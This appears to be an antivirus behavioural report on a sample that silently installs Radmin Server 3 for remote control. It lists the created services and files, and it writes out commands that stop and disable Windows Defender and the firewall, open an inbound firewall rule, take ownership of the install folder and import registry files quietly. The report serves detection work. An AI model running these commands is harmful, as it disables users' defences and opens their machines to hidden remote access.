Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\RServer3] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\RServer3] 'ImagePath' = '"%WINDIR%\SysWOW64\rserver30\RServer3.exe" /service'
- [HKLM\System\CurrentControlSet\Services\mirrorv3] 'Start' = '00000001'
- [HKLM\System\CurrentControlSet\Services\mirrorv3] 'ImagePath' = 'system32\DRIVERS\rminiv3.sys'
- [HKLM\System\CurrentControlSet\Services\raddrvv3] 'Start' = '00000001'
- [HKLM\System\CurrentControlSet\Services\raddrvv3] 'ImagePath' = '%WINDIR%\SysWOW64\rserver30\raddrvv3.sys'
Creates the following services
- 'RServer3' "%WINDIR%\SysWOW64\rserver30\RServer3.exe" /service
- 'mirrorv3' system32\DRIVERS\rminiv3.sys
- 'raddrvv3' %WINDIR%\SysWOW64\rserver30\raddrvv3.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Firewall
- Windows Defender
Executes the following
- '%WINDIR%\syswow64\net.exe' stop MpsSvc
- '%WINDIR%\syswow64\net.exe' stop WinDefend
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Radmin Server 3" dir=in action=allow program="%WINDIR%\SysWOW64\rserver30\rserver3.exe" enable=yes profile=any
- '%WINDIR%\syswow64\net.exe' stop RServer3
Injects code into
the following system processes:
- %WINDIR%\syswow64\rserver30\famitrfc.exe
Modifies file system
Creates the following files
- %TEMP%\aute501.tmp
- %WINDIR%\syswow64\rserver30\radmin30.chm
- %WINDIR%\syswow64\rserver30\2052.lng_rad
- %APPDATA%\microsoft\installer\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\arpproducticon.exe
- %APPDATA%\microsoft\installer\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\z_menu_srvcfg_6bf1780b36ea432b9451dd84ff5c9d52.exe
- %APPDATA%\microsoft\installer\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\newshortcut4_6bf1780b36ea432b9451dd84ff5c9d52.exe
- %APPDATA%\microsoft\installer\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\newshortcut3_6bf1780b36ea432b9451dd84ff5c9d52.exe
- %APPDATA%\microsoft\windows\start menu\programs\radmin server 3\radmin服务器的设置.lnk
- %APPDATA%\microsoft\windows\start menu\programs\radmin server 3\帮助.lnk
- %APPDATA%\microsoft\windows\start menu\programs\radmin server 3\启动radmin服务器.lnk
- %APPDATA%\microsoft\windows\start menu\programs\radmin server 3\停止radmin服务器.lnk
- %APPDATA%\microsoft\windows\start menu\programs\radmin server 3\卸载.lnk
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setabc8.tmp
- %WINDIR%\syswow64\rserver30\rsl.exe
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setac65.tmp
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setad71.tmp
- <SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem2.cat
- %WINDIR%\temp\uddd2d8.tmp
- %WINDIR%\temp\uddeed2.tmp
- %WINDIR%\syswow64\rserver30\radm_log.htm
- %TEMP%\autd3b.tmp
- %TEMP%\wsock32.txt
- %TEMP%\autd4c.tmp
- %TEMP%\x64.dll
- %TEMP%\autd4d.tmp
- %TEMP%\minx64.bat
- %TEMP%\qqgj002.txt
- %WINDIR%\syswow64\rserver30\eula.txt
- %WINDIR%\syswow64\rserver30\radmin30cn.chm
- %WINDIR%\syswow64\rserver30\raddrvv3.sys
- %WINDIR%\syswow64\rserver30\mirrorv3.cat
- %WINDIR%\syswow64\rserver30\mirrorv3.inf
- %TEMP%\aute965.tmp
- %TEMP%\qx.bat
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup.exe
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup64.exe
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\firewallinstallhelper.dll
- %WINDIR%\syswow64\rserver30\winlpcdl.dll
- %WINDIR%\syswow64\rserver30\winlpcdl2.dll
- %WINDIR%\syswow64\rserver30\famitrfc.exe
- %WINDIR%\syswow64\rserver30\famitrf2.exe
- %WINDIR%\syswow64\rserver30\firewallinstallhelper.dll
- %WINDIR%\syswow64\rserver30\rserver3.exe
- %WINDIR%\syswow64\rserver30\r_sui.dll
- nul
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setacf3.tmp
- %WINDIR%\syswow64\rserver30\rcursor.dll
- %WINDIR%\syswow64\rserver30\chatlogs\info.txt
- %WINDIR%\syswow64\rserver30\rschatx.dll
- %WINDIR%\syswow64\rserver30\chatlpcx.dll
- %WINDIR%\syswow64\rserver30\raudiox.dll
- %WINDIR%\syswow64\rserver30\voicex.dll
- %WINDIR%\syswow64\rserver30\rsaudiox.dll
- %WINDIR%\syswow64\rserver30\vcintcx.dll
- %WINDIR%\syswow64\rserver30\vcintsx.dll
- %WINDIR%\syswow64\rserver30\fam64helper.exe
- %WINDIR%\syswow64\rserver30\rsetup64.exe
- %WINDIR%\syswow64\rserver30\rminiv3.sys
- %WINDIR%\syswow64\rserver30\mirrorv3.dll
- %TEMP%\radmin_server_3.5.2.1_cn.msi
- %WINDIR%\syswow64\rserver30\rchatx.dll
- %WINDIR%\syswow64\rserver30\wsock32.dll
Sets the 'hidden' attribute to the following files
- <SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem2.cat
Deletes the following files
- %TEMP%\aute501.tmp
- %TEMP%\x64.dll
- %TEMP%\wsock32.txt
- %TEMP%\autd4d.tmp
- %TEMP%\autd4c.tmp
- %TEMP%\autd3b.tmp
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup64.exe
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup.exe
- %TEMP%\radmin_server_3.5.2.1_cn.msi
- %TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\firewallinstallhelper.dll
- %WINDIR%\temp\uddd2d8.tmp
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\rminiv3.sys
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.inf
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.dll
- %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.cat
- %TEMP%\qx.bat
- %TEMP%\aute965.tmp
- %WINDIR%\temp\uddeed2.tmp
- %TEMP%\qqgj002.txt
Moves the following files
- from %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setabc8.tmp to %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\rminiv3.sys
- from %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setac65.tmp to %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.cat
- from %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setacf3.tmp to %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.dll
- from %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\setad71.tmp to %TEMP%\{584ab526-230c-1110-09a0-29132f481377}\mirrorv3.inf
Modifies the following files
Network activity
UDP
- 'localhost':63202
- 'localhost':58515
Miscellaneous
Searches for the following windows
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup64.exe' /stop
- '%WINDIR%\syswow64\rserver30\rsetup64.exe' /intsetup
- '%WINDIR%\syswow64\rserver30\rsetup64.exe' /start
- '%WINDIR%\syswow64\rserver30\rserver3.exe' /service
- '%WINDIR%\syswow64\rserver30\famitrfc.exe'
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\qx.bat' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %LOCALAPPDATA%\Temp.\Radmin_Server_3.5.2.1_CN.msi /quiet /norestart' (with hidden window)
- '%TEMP%\{1b704fd1-c00f-482f-8997-82f2f19e10e7}\rsetup64.exe' /stop' (with hidden window)
- '%WINDIR%\syswow64\rserver30\rsetup64.exe' /intsetup' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Radmin Server 3" dir=in action=allow program="%WINDIR%\SysWOW64\rserver30\rserver3.exe" enable=yes profile=any' (with hidden window)
- '%WINDIR%\syswow64\rserver30\rsetup64.exe' /start' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\minx64.bat' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\qx.bat
- '%WINDIR%\syswow64\net1.exe' start RServer3
- '%WINDIR%\syswow64\net.exe' start RServer3
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\rserver30\wsock32.dll",ntskd noreboot
- '%WINDIR%\syswow64\regedit.exe' /s x64.dll
- '%WINDIR%\syswow64\regini.exe' "%TEMP%\QQGJ002.txt"
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 1
- '%WINDIR%\syswow64\net1.exe' stop RServer3
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\minx64.bat
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\Radmin_Server_3.5.2.1_CN.msi" /quiet /norestart
- '%WINDIR%\syswow64\sc.exe' config RServer3 DisplayName= "Radmin Server V3"
- '%WINDIR%\syswow64\cmd.exe' /c %LOCALAPPDATA%\Temp.\Radmin_Server_3.5.2.1_CN.msi /quiet /norestart
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\SysWOW64\rserver30 /r /d y
- '%WINDIR%\syswow64\cmd.exe' /c takeown /f %WINDIR%\SysWOW64\rserver30 /r /d y
- '%WINDIR%\syswow64\icacls.exe' %WINDIR%\SysWOW64\rserver30 /grant administrators:F
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\SysWOW64\rserver30
- '%WINDIR%\syswow64\cmd.exe' /c takeown /f %WINDIR%\SysWOW64\rserver30
- '%WINDIR%\syswow64\net1.exe' stop WinDefend
- '%WINDIR%\syswow64\net1.exe' stop MpsSvc
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= DISABLED
- '%WINDIR%\syswow64\sc.exe' config MpsSvc start= DISABLED
- '%WINDIR%\syswow64\icacls.exe' %WINDIR%\SysWOW64\rserver30 /grant administrators:F /t
- '%WINDIR%\syswow64\sc.exe' description RServer3 "Provides secure remote control, file transfer, text chat, voice chat and other services for authorized remote users."
